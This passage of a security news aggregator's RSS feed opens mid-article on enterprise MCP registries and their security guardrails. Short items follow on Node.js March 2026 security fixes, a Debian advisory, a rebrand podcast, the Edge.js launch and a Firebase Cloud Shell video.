<p>To streamline this, a key aspect of an effective MCP registry is good developer experience, says <a href="https://www.linkedin.com/in/ido-halevi-381603147/">Ido Halevi</a>, director of product management at <a href="https://www.silverfort.com/">Silverfort</a>, an identity security company. “That means clear documentation, examples of usage from other teams, and reliability signals such as active maintenance and adoption across agents,” Halevi says.</p>



<p>A strong registry also provides context beyond being a basic tool list. “Teams need to know whether an MCP server is maintained, how widely it’s used, and what kinds of risks or privileges it requires,” says <a href="https://www.linkedin.com/in/jessicakerr/">Jessica Kerr</a>, engineering manager of developer relations at <a href="https://www.honeycomb.io/">Honeycomb</a>, an observability platform provider. For instance, Kerr suggests adding lightweight moderation controls to flag dependable versus experimental MCP servers.</p>



<h3 class="wp-block-heading">Security guardrails</h3>



<p>Since the concept of MCP registries is so new, security standards and guidelines are still emerging. “It’s a bit like the wild west,” says <a href="https://www.linkedin.com/in/gilfeig">Gil Feig</a>, co-founder and CTO of <a href="https://www.merge.dev/">Merge</a>, provider of a unified API platform. </p>



<p>Because of this, Feig emphasizes the need for strong security guardrails and privilege boundaries. “When evaluating an MCP registry, look for one that offers robust authentication, observability, and data governance with built-in rules, proactive alerts, and real-time logs,” he says.</p>



<p>The authorization context will especially matter to ensure that agents are using MCP tools permitted by the organization and have authorized access to sensitive material. As such, MCP registries will require information on the agent identity, its intent, and what user it’s acting on behalf of, says Posta. </p>



<p>“Registries should favor servers that properly separate user sessions so data does not leak between users,” adds O’Connor, who notes that support for per-user authentication using modern OAuth patterns helps ensure access that is matched to privileges.</p>



<p>Similarly, Halevi underscores the need for enforcement beyond pure tool discovery. “Without enforcement, all you’re doing is cataloging risk,” he says. A registry should help control which agents can access which tools, and dynamically enforce permissions when a tool is invoked.</p>



<h3 class="wp-block-heading">Native API handling underneath</h3>



<p>Native API handling notwithstanding, there’s only so much a registry can do. Core authentication nuances will differ from MCP server to MCP server, and each will require the same security rigor as a <a href="https://www.infoworld.com/article/4120322/how-should-ai-agents-consume-external-data.html">standard API connection</a>.</p>



<p>“At the server level, MCP servers must be built with robust security capabilities from the ground up,” says <a href="https://www.linkedin.com/in/alexsalazar/">Alex Salazar</a>, co-founder and CEO of <a href="https://www.arcade.dev/">Arcade.dev</a>, the maker of an AI tool calling platform. An MCP registry doesn’t replace core MCP server security basics such as OAuth-based authentication, proper token and secrets handling, and observability.</p>



<p>“The issue here is many AI applications don’t have any native API handling in place,” adds Melissa Ruzzi, director of AI at <a href="https://appomni.com/">AppOmni</a>, a cybersecurity company. “So they look to the MCP registry as a way to control MCP authentication, which is not a good practice.” </p>



<p>Others aren’t certain guardrails belong at the registry level to begin with. “Security guardrails and privilege boundaries are really the responsibility of the underlying agents and not the best function of a registry-as-exchange,” says <a href="https://www.linkedin.com/in/dan-fink-b109b8/">Dan Fink</a>, AVP software architect at <a href="https://www.cognizant.com/us/en">Cognizant</a>, an enterprise technology consulting firm.</p>



<p>To really enforce this, adds Fink, you’d require additional layers that would either be too heavy, like introducing entirely new agents as intermediaries, or just simple guardrail tags, which could easily be faked or obsoleted.</p>



<p>For this reason and others, some view the MCP registry itself as more of an abstraction layer, which only defines high-level capabilities that are then mapped to underlying scopes, roles, and APIs. </p>



<p>“Registries should express guardrails so orchestration layers can enforce them,” says Itential’s Collins. “This way, the registry doesn’t become a bottleneck and single point of failure.” For Collins, guardrails to enforce at the registry include privilege boundaries, authentication requirements, and risk classifications.</p>



<p>“An enterprise MCP registry should be slightly abstracted, not one-to-one with every tool privilege,” says <a href="https://www.linkedin.com/in/derekashmore/">Derek Ashmore</a>, agentic AI enablement principal of <a href="https://www.asperitas.consulting/">Asperitas Consulting</a>, a cloud computing consultancy. A thin abstraction layer, as opposed to one that directly mirrors every underlying permission, also enables you to standardize permission names across tools, reuse role templates, and separate user types, he adds.</p>



<h3 class="wp-block-heading">Life cycle and performance</h3>



<p>As a tagalong to security guardrails, an MCP registry is an opportune location to introduce supply chain security features and monitoring.</p>



<p>“This includes vetting servers before they’re discoverable, implementing security scans and vulnerability checks, and controlling what can be published or discovered,” says <a href="https://www.linkedin.com/in/alexsalazar/">Alex Salazar</a>, co-founder and CEO at <a href="https://www.arcade.dev/">Arcade.dev</a>, provider of an AI tool calling platform. Salazar says that registries should track performance metrics and errors, as well.</p>



<p>In addition to dynamic tool discovery and tooling governance, <a href="https://www.linkedin.com/in/marcopalladino/">Marco Palladino</a>, CTO and co-founder of <a href="https://konghq.com/">Kong</a>, provider of a cloud-native API platform, sees observability across the AI data path as necessary for an enterprise-grade MCP registry.</p>



<p>“Enterprises need centralized visibility into tool usage, health, and failures to support monitoring, optimization, cost management, and compliance,” says Palladino. “Without this, organizations face fragmented integrations and increased operational risk.” </p>



<p>Beyond the above areas, experts foresee that other attributes will be necessary for MCP registries in an enterprise context: </p>



<ul class="wp-block-list">
<li>Fingerprinting of the tools within a particular server</li>



<li>A bridge between private and public registries</li>



<li>Ranking or scoring based on previous performance, token cost, and other attributes</li>



<li>Namespace verification to prevent naming conflicts</li>



<li>Validation layers to catch errors</li>



<li>Health monitoring to track server availability and performance </li>
</ul>



<h2 class="wp-block-heading">Choosing a public or private MCP registry </h2>



<p>When implementing an MCP registry, organizations have two options: either use a public MCP registry or create a private self-hosted MCP registry. According to the experts, there are trade-offs between each approach.</p>



<p>“A public MCP registry has to be very well evaluated for possible security risks before use,” says <a href="https://www.linkedin.com/in/melissa-r-94b25a28/">Melissa Ruzzi</a>, director of AI at <a href="https://appomni.com/">AppOmni</a>, a cybersecurity company. Private registries are generally safer, she says, but the degree of risk depends on how they are implemented.</p>



<p>“The public registry ecosystem is still immature,” says <a href="https://www.linkedin.com/in/kevinvcochrane/">Kevin Cochrane</a>, CMO at <a href="https://www.vultr.com/">Vultr</a>, a cloud hosting provider. “We likely need a ‘Hugging Face for MCP’ — a trusted authority that can validate listings and set consistent standards.” Without that sort of layer, teams should be cautious about smaller third-party registries, he adds. </p>



<p>Instead, a private MCP registry can help an enterprise govern its portfolio. “Put a private MCP registry at the heart of the AI runtime,” Cochrane says. “This should be core infrastructure owned by platform engineering, with governance over how MCP servers are built, tested, deployed, and monitored.”</p>



<p>Infracodebase’s O’Connor adds that such curated registries engender trust in specific tools. “Over time, registries also become a trust boundary, especially in public settings, because they shape what tools people are willing to bring into workflows,” he says.</p>



<p>For many, the starting point will likely be a combination of both. This could equate to forking a sample open-source MCP registry and extending it to your needs. </p>



<p>“Another way is to take a published OpenAPI specification and generate a skeleton service implementation in a language of your choice,” says <a href="https://www.linkedin.com/in/andrei-denissov-517221/">Andrei Denissov</a>, associate director of software engineering at <a href="https://www.cognizant.com/us/en/ai-lab">Cognizant AI Lab</a>, the AI research arm for Cognizant.</p>



<h2 class="wp-block-heading">Tips on building MCP registries</h2>



<p>Experimentation with MCP registries is in its early days. However, developers on the front lines are already pulling out lessons learned and discovering patterns for both good and bad designs. </p>



<p>One lesson is the sheer realization that you <em>need </em>registries, quicker than you think. “Working with teams deploying MCP at an enterprise scale, the pattern is consistent: Registries become necessary faster than organizations expect,” says <a href="https://www.linkedin.com/in/ido-halevi-381603147/">Ido Halevi</a>, director of product management at <a href="https://www.silverfort.com/">Silverfort</a>, an identity security company. </p>



<p>Then, those implementing MCP registries quickly learn that a basic MCP catalog is only one part of the picture — enterprises need much more than just MCP tool discovery. They need per-agent authorization models, guaranteed human-linked attribution, deep observability into agent behavior, and inline enforcement,” says Halevi.</p>



<p>When operating many MCP servers at scale, other requirements beyond discovery begin to become just as important, adds Halevi, such as MCP server orchestration, managing keys, keeping versions aligned, and managing configuration changes.</p>



<h2 class="wp-block-heading">Balancing agentic autonomy and control</h2>



<p>In the enterprise, sanctioned MCP use is proving to be incredibly powerful. Just take the <a href="https://www.workato.com/the-connector/ai-usage-growth/">case of Workato</a>, which experienced a 700% increase in Claude chats from internal employees over a 60-day period when it turned on enterprise MCP features. Support engineers, financial analysts, sales leads, and others are building new workflows that grow Workato’s business in tangible ways, much in part thanks to MCP.</p>



<p>Getting those results, however, requires balancing agentic autonomy with control. That’s where an MCP registry can shine. For an enterprise, the quality of an MCP registry doesn’t just depend on listing every MCP server in a directory. It hinges on trust, safety, and smart controls — especially to prevent leaking data from chat streams across inter-organizational agent workflows, for instance.</p>



<p>As such, enterprises going “all in” on MCP should seriously consider MCP registries as a core infrastructure, with all the standard architectural enterprise bells and whistles. “It should be treated like any other serious piece of software,” says Alareqi. “That means strong versioning, life-cycle management, and observability.”</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Debian)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3391495/unix-server/security-mehrere-probleme-in-nodejs-debian/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3391495/unix-server/security-mehrere-probleme-in-nodejs-debian/</guid>
<pubDate>Sun, 29 Mar 2026 23:34:53 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[DSA-6183-1 nodejs - security update]]></title>
<description><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service, side channel attacks or information disclosure.


https://security-tracker.debian.org/tracker/DSA-6183-1]]></description>
<link>https://tsecurity.de/de/3391176/unix-server/dsa-6183-1-nodejs-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3391176/unix-server/dsa-6183-1-nodejs-security-update/</guid>
<pubDate>Sun, 29 Mar 2026 18:50:19 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service, side channel attacks or information disclosure.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-6183-1">https://security-tracker.debian.org/tracker/DSA-6183-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Fixes Critical Flaws, Patches DoS Risk in Latest Security Update]]></title>
<description><![CDATA[The Node.js project has issued a series of security updates addressing multiple vulnerabilities across its active release lines. The update covers versions in the 20.x, 22.x, 24.x, and 25.x branches, and includes fixes for several high, medium, and low severity issues. Among the most notable conc...]]></description>
<link>https://tsecurity.de/de/3382561/it-security-nachrichten/nodejs-fixes-critical-flaws-patches-dos-risk-in-latest-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3382561/it-security-nachrichten/nodejs-fixes-critical-flaws-patches-dos-risk-in-latest-security-update/</guid>
<pubDate>Thu, 26 Mar 2026 09:51:47 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1500" height="1000" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-21637" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637.webp 1500w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637.webp 1500w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-21637-1140x760.webp 1140w" sizes="(max-width: 1500px) 100vw, 1500px" title="Node.js Fixes Critical Flaws, Patches DoS Risk in Latest Security Update 1"></p><span data-contrast="auto">The Node.js project has issued a series of security updates addressing multiple vulnerabilities across its active release lines. The update covers versions in the 20.x, 22.x, 24.x, and 25.x branches, and includes fixes for several high, medium, and low severity issues. Among the most notable concerns is CVE-2026-21637, which appears prominently in the release due to its incomplete nature prior to remediation.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The <a href="https://nodejs.org/en/blog/vulnerability/march-2026-security-releases" target="_blank" rel="nofollow noopener">March 2026 security rollout</a> includes updates to dependencies such as undici (versions 6.24.1 and 7.24.4) for supported release lines. A key issue addressed is tied to CVE-2026-21637, which exposed weaknesses in TLS error handling.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Incomplete Fix for CVE-2026-21637 Leads to Remote DoS Risk</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="27287">vulnerability</a> CVE-2026-21637 stems from improper exception handling in the TLS layer. Specifically, the </span><span data-contrast="auto">loadSNI()</span><span data-contrast="auto"> function in </span><span data-contrast="auto">_tls_wrap.js</span><span data-contrast="auto"> lacked a </span><span data-contrast="auto">try/catch</span><span data-contrast="auto"> mechanism. This oversight left </span><span data-contrast="auto">SNICallback</span><span data-contrast="auto"> executions vulnerable to unhandled synchronous exceptions.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">When unexpected input is passed, and the callback throws an error, the exception bypasses <a href="https://thecyberexpress.com/cloudflare-zero-day-waf-bypass-acme/" target="_blank" rel="noopener">TLS protection</a> and results in an uncaught exception. In practical terms, this can crash into a Node.js process, leading to a potential Remote Denial of Service (DoS). Notably, similar callback pathways like ALPN and PSK had already been secured under CVE-2026-21637, making this an incomplete fix of the same vulnerability.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">This issue impacts all Node.js versions that previously received the CVE-2026-21637 patch, namely 20.x, 22.x, 24.x, and 25.x, particularly in environments where </span><span data-contrast="auto">SNICallback</span><span data-contrast="auto"> may fail on malformed server name inputs. The <a href="https://thecyberexpress.com/webkit-vulnerability-fixed-in-apple-update/" target="_blank" rel="noopener">vulnerability</a> was reported by mbarbs and resolved by mcollina.</span>
<h3 aria-level="2"><b><span data-contrast="none">Additional High Severity Vulnerability in Node.js HTTP Handling</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Another critical issue, tracked as CVE-2026-21710, affects HTTP request processing. A specially crafted request containing a </span><span data-contrast="auto">proto</span><span data-contrast="auto"> header can trigger an uncaught </span><span data-contrast="auto">TypeError</span><span data-contrast="auto"> when applications access </span><span data-contrast="auto">req.headersDistinct</span><span data-contrast="auto">.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">This occurs because </span><span data-contrast="auto">dest["proto"]</span><span data-contrast="auto"> resolves to </span><span data-contrast="auto">Object.prototype</span><span data-contrast="auto"> instead of </span><span data-contrast="auto">undefined</span><span data-contrast="auto">, causing a </span><span data-contrast="auto">.push()</span><span data-contrast="auto"> operation on a non-array object. Since the error is thrown within a property getter, it cannot be intercepted by standard error handlers. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">This leaves applications vulnerable unless developers explicitly wrap each access in </span><span data-contrast="auto">try/catch</span><span data-contrast="auto"> blocks. All Node.js HTTP servers running versions 20.x through 25.x are affected. The issue was reported by yushengchen and fixed by mcollina.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Medium Severity Issues Affecting Node.js Runtime and Security</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Several medium-severity <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="27288">vulnerabilities</a> were also addressed in this release:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><b><span data-contrast="auto">CVE-2026-21711</span></b><span data-contrast="auto">: </span><span data-contrast="auto">A bypass in the Node.js Permission Model allows Unix Domain Socket (UDS) servers to bind and listen without the </span><span data-contrast="auto">--allow-net</span><span data-contrast="auto"> flag. This flaw enables unauthorized inter-process <a href="https://thecyberexpress.com/telecommunication-sector-cyber-threats/" target="_blank" rel="noopener">communication</a> even when network access is intended to be restricted. It affects version 25.x and was reported by xavlimsg.</span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21712</span></b><span data-contrast="auto">: A malformed internationalized domain name passed to </span><span data-contrast="auto">url.format()</span><span data-contrast="auto"> can trigger an assertion failure in </span><span data-contrast="auto">node_url.cc</span><span data-contrast="auto">, crashing the process. This impacts versions 24.x and 25.x. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21713</span></b><span data-contrast="auto">: A timing side-channel vulnerability in HMAC verification uses </span><span data-contrast="auto">memcmp()</span><span data-contrast="auto"> instead of a constant-time comparison. This can leak timing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="27289">data</a> that might be exploited to infer MAC values under specific conditions. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21714</span></b><span data-contrast="auto">: A memory leak in HTTP/2 servers occurs when </span><span data-contrast="auto">WINDOW_UPDATE</span><span data-contrast="auto"> frames are abused, leading to resource exhaustion. The </span><span data-contrast="auto">Http2Session</span><span data-contrast="auto"> object is not cleaned up even after a </span><span data-contrast="auto">GOAWAY</span><span data-contrast="auto"> frame is issued. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21717</span></b><span data-contrast="auto">: A HashDoS vulnerability in the V8 engine allows attackers to generate predictable hash collisions using integer-like strings. This can degrade performance, especially in endpoints processing untrusted JSON input. </span></li>
</ul>
<h3><b><span data-contrast="none">Low Severity Vulnerabilities in Node.js Permission Model</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">Two lower-severity issues were also identified:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><b><span data-contrast="auto">CVE-2026-21715</span></b><span data-contrast="auto">: The </span><span data-contrast="auto">fs.realpathSync.native()</span><span data-contrast="auto"> method bypasses read permission checks, allowing file existence disclosure even under restricted filesystem permissions. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">CVE-2026-21716</span></b><span data-contrast="auto">: An incomplete patch for CVE-2024-36137 leaves </span><span data-contrast="auto">FileHandle.chmod()</span><span data-contrast="auto"> and </span><span data-contrast="auto">FileHandle.chown()</span><span data-contrast="auto"> in the promises API without proper permission enforcement, enabling <a href="https://thecyberexpress.com/chuck-e-cheese-data-breach-apks-images-leaked/" target="_blank" rel="noopener">unauthorized modifications</a>. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>
<h3 aria-level="2"><b><span data-contrast="none">Impact and Affected Node.js Versions</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The impact varies slightly across versions:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><b><span data-contrast="auto">Node.js 25.x</span></b><span data-contrast="auto">: 2 high, 5 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">Node.js 24.x</span></b><span data-contrast="auto">: 2 high, 4 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">Node.js 22.x</span></b><span data-contrast="auto">: 2 high, 4 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><b><span data-contrast="auto">Node.js 20.x</span></b><span data-contrast="auto">: 2 high, 4 medium, 2 low severity vulnerabilities </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>
<span data-contrast="auto">The project released updated versions to address these issues:</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<ul>
 	<li><span data-contrast="auto">Node.js v20.20.2 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Node.js v22.22.2 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Node.js v24.14.1 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
 	<li><span data-contrast="auto">Node.js v25.8.2 </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":0,"335559739":0}'> </span></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[What It Takes to Rebrand a Cybersecurity Company]]></title>
<description><![CDATA[In this Cyber CMO Confidential episode, Netwrix CMO John Knightly joins Gianna and Charles to talk through the company’s recent rebrand and the thinking behind it.

After years of growth through acquisitions, Netwrix needed a clearer story. John shares how the team repositioned the company around...]]></description>
<link>https://tsecurity.de/de/3378772/it-security-nachrichten/what-it-takes-to-rebrand-a-cybersecurity-company/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3378772/it-security-nachrichten/what-it-takes-to-rebrand-a-cybersecurity-company/</guid>
<pubDate>Wed, 25 Mar 2026 06:07:33 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this Cyber CMO Confidential episode, Netwrix CMO John Knightly joins Gianna and Charles to talk through the company’s recent rebrand and the thinking behind it.

After years of growth through acquisitions, Netwrix needed a clearer story. John shares how the team repositioned the company around data security that starts with identity, simplified its messaging, and rolled the new brand out across a global organization.

If you’re navigating brand evolution, product complexity, or internal buy-in, this episode offers a look at what it actually takes to pull off a cybersecurity rebrand.]]></content:encoded>
</item>
<item>
<title><![CDATA[Synack gewinnt die Global InfoSec Awards und wird zum Marktführer für KI-gestützte ...]]></title>
<description><![CDATA[„KI verändert die Cybersicherheit von reaktiv zu kontinuierlich und proaktiv", sagt Angela Heindl-Schober, CMO bei Synack. „Durch die Automatisierung ...]]></description>
<link>https://tsecurity.de/de/3374289/it-security-nachrichten/synack-gewinnt-die-global-infosec-awards-und-wird-zum-marktfuehrer-fuer-ki-gestuetzte/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3374289/it-security-nachrichten/synack-gewinnt-die-global-infosec-awards-und-wird-zum-marktfuehrer-fuer-ki-gestuetzte/</guid>
<pubDate>Mon, 23 Mar 2026 17:34:41 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[„KI verändert die <b>Cybersicherheit</b> von reaktiv zu kontinuierlich und proaktiv", sagt Angela Heindl-Schober, CMO bei Synack. „Durch die Automatisierung ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Edge.js launched to run Node.js for AI]]></title>
<description><![CDATA[Wasmer has introduced Edge.js as a JavaScript runtime that leverages WebAssembly and is designed to safely run Node.js workloads for AI and edge computing. Node apps can run inside a WebAssembly sandbox.



Accessible from edgejs.org and introduced March 16, Edge.js is intended to enable existing...]]></description>
<link>https://tsecurity.de/de/3365021/ai-nachrichten/edgejs-launched-to-run-nodejs-for-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3365021/ai-nachrichten/edgejs-launched-to-run-nodejs-for-ai/</guid>
<pubDate>Fri, 20 Mar 2026 04:27:10 +0100</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Wasmer has introduced Edge.js as a <a href="https://www.infoworld.com/article/2263137/what-is-javascript-the-full-stack-programming-language.html">JavaScript</a> runtime that leverages WebAssembly and is designed to safely run <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> workloads for AI and edge computing. Node apps can run inside a <a href="https://www.infoworld.com/article/2255892/what-is-webassembly-the-next-generation-web-platform-explained.html">WebAssembly</a> sandbox.</p>



<p>Accessible from <a href="https://edgejs.org/">edgejs.org</a> and introduced <a href="https://wasmer.io/posts/edgejs-safe-nodejs-using-wasm-sandbox">March 16</a>, Edge.js is intended to enable existing Node.js applications to run safely and with startup times impossible to get with containers, according to Wasmer. Instead of introducing new APIs, Edge.js preserves Node compatibility and isolates the unsafe parts of execution using WebAssembly<strong>. </strong>Existing Node.js applications and native modules can run unmodified while system calls and native modules are sandboxed through <a href="https://wasix.org/">WASIX</a>, an extension to the WebAssembly System Interface (WASI). WASIX was designed to make WebAssembly more compatible with POSIX programs, enabling seamless execution of more complex applications in both server and browser environments.</p>



<p>Reimagining Node.js, Edge.js is sandboxed via <code><strong>--safe</strong></code> mode. It is built for AI and serverless workloads, Wasmer said. Edge.js currently supports the V8 and JavaScriptCore JavaScript engines. The architecture is engine-agnostic by design. Plans call for adding support for the QuickJS and SpiderMonkey engines. Additional engines are welcome.</p>



<p>Edge.js is currently about 5% to 20% slower than current Node.js when run natively, and 30% slower when run fully sandboxed with Wasmer. In some cases, when Native&lt;&gt;Wasm work is intense, as when doing HTTP benchmarks, there could be a bigger gap. Wasmer intends to focus on closing that gap for Edge.js 1.0 and for the next releases of Wasmer.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud Shell in Firebase Console]]></title>
<description><![CDATA[Author: Firebase - Bewertung: 0x - Views:8 Simplify your Firebase development workflow by using Cloud Shell directly within the Firebase Console. Nohe demonstrates how Cloud Shell eliminates the need for local tool installations and complex environment setups, allowing you to control Firebase pro...]]></description>
<link>https://tsecurity.de/de/3362511/it-security-video/cloud-shell-in-firebase-console/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3362511/it-security-video/cloud-shell-in-firebase-console/</guid>
<pubDate>Thu, 19 Mar 2026 17:02:28 +0100</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Firebase - Bewertung: 0x - Views:8 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/BlTp-VTglbE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Simplify your Firebase development workflow by using Cloud Shell directly within the Firebase Console. Nohe demonstrates how Cloud Shell eliminates the need for local tool installations and complex environment setups, allowing you to control Firebase projects, deploy Cloud Functions, and experiment with new web apps effortlessly. Discover how built-in tools like Node.js, Git, Firebase CLI, and Gemini CLI enable tasks such as image conversion and web app deployment, all from a pre-authenticated Google Cloud environment.<br />
<br />
Documentation →  https://goo.gle/3NgzVhJ <br />
<br />
Chapters:<br />
0:00 - Introduction<br />
0:45 - Introducing Cloud Shell in the Firebase Console <br />
1:15 - Tour of the Tools: Node, Git, & Firebase CLI <br />
1:50 - Pro Tip: Using the Gemini CLI with Auto-Auth <br />
2:30 - Demo: Batch Image Conversion to AVIF <br />
3:10 - Experimenting Without Commitment: firebase init <br />
3:55 - Vibe Coding & Deploying to Firebase Hosting <br />
4:30 - Editing Code Directly in the Console <br />
5:00 - Wrap-up: What are you building? <br />
<br />
